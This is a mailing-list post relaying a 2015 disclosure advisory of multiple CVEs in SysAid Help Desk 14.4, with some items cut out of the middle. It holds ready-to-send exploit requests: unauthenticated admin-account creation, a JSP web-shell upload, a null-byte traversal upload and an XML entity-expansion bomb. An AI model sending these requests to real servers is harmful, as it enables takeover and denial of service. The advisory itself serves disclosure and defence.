Hi, tl;dr Found lots of vulns in SysAid Help Desk 14.4, including RCE. SysAid have informed me they all have been fixed in 15.2, but no re-test was performed. Full advisory below, and a copy can be obtained at [1]. 5 Metasploit modules have been released and currently awaiting merge in the moderation queue [2]. Regards, Pedro [1]: https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt [2]: https://github.com/rapid7/metasploit-framework/pull/5470 https://github.com/rapid7/metasploit-framework/pull/5471 https://github.com/rapid7/metasploit-framework/pull/5472 https://github.com/rapid7/metasploit-framework/pull/5473 https://github.com/rapid7/metasploit-framework/pull/5474 >> Multiple vulnerabilities in SysAid Help Desk 14.4 >> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security ================================================================================= Disclosure: 03/06/2015 / Last updated: 03/06/2015 >> Background on the affected product: "SysAid is an ITSM solution that offers all the essentials, with everything you need for easy and efficient IT support and effective help desk operations. Its rich set of features includes a powerful service desk, asset management and discovery, self-service, and easy-to-use tools for understanding and optimizing IT performance." Metasploit modules that exploit #1, #2, #3, #4, #5 and #6 have been released and should be integrated in the Metasploit framework soon. All vulnerabilities affect both the Windows and Linux versions unless otherwise noted. >> Technical details: 1) Vulnerability: Administrator account creation CVE-2015-2993 (same CVE as #10) Constraints: none; no authentication or any other information needed Affected versions: unknown, at least 14.4 GET /sysaid/createnewaccount?accountID=1337&organizationName=sysaid&userName=mr_lit&password=secret&masterPassword=master123 This creates an account with the following credentials: mr_lit:secret Note that this vulnerability only seems to be exploitable ONCE! Subsequent attempts to exploit it will fail even if the tomcat server is restarted. 2) Vulnerability: File upload via directory traversal (authenticated; leading to remote code execution) CVE-2015-2994 Constraints: valid administrator account needed (see #1 to create a valid admin account) Affected versions: unknown, at least 14.4 POST /sysaid/ChangePhoto.jsp?isUpload=true HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------81351919525780 -----------------------------81351919525780 Content-Disposition: form-data; name="activation"; filename="whatevs.jsp" Content-Type: application/octet-stream <html><body><%out.println(System.getProperty("os.name"));%></body><html> -----------------------------81351919525780-- The response returns a page which contains the following: var imageUrl = "icons/user_photo/14222767515000.1049804910604456_temp.jsp?1422276751501"; var thumbUrl = "icons/user_photo/14222767515000.1049804910604456_temp_thumb.jsp?1422276751501"; if(imageUrl != null && $.trim(imageUrl).length > 0) { document.getElementById("cropbox").src = imageUrl; document.getElementById("preview").src = thumbUrl; parent.glSelectedImageUrl = "icons/user_photo/14222767515000.1049804910604456_temp.jsp"; Go to http://<server>/sysaid/icons/user_photo/14222767515000.1049804910604456_temp.jsp to execute the JSP. 3) Vulnerability: File upload via directory traversal (unauthenticated; leading to remote code execution) CVE-2015-2995 Constraints: no authentication or any other information needed. The server has to be running Java 7u25 or lower. This is because Java 7u40 (FINALLY!) rejects NULL bytes in file paths. See http://bugs.java.com/bugdatabase/view_bug.do?bug_id=8014846 for more details. Affected versions: unknown, at least 14.3 and 14.4 POST /sysaid/rdslogs?rdsName=../../../../sample.war%00 <...

If this is combined with an arbitrary file download vulnerability (such as #4), a malicious user can then decrypt the database password by downloading the WEB-INF/conf/serverConf.xml file.

Sending lots of requests causes the server to slow down to a crawl (although it doesn't seem to crash or hang forever). 9) Vulnerability: XML Entity Expansion (leading to denial of service) CVE-2015-3000 Constraints: no authentication or any other information needed Affected versions: unknown, at least 14.4 a) POST /sysaid/agententry?deflate=0 <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> POST /sysaid/rdsmonitoringresponse <lol bomb in POST data> c) POST /sysaid/androidactions <lol bomb in POST data> These requests will cause the cpu to go to 100% and the memory to baloon for 10+ seconds.
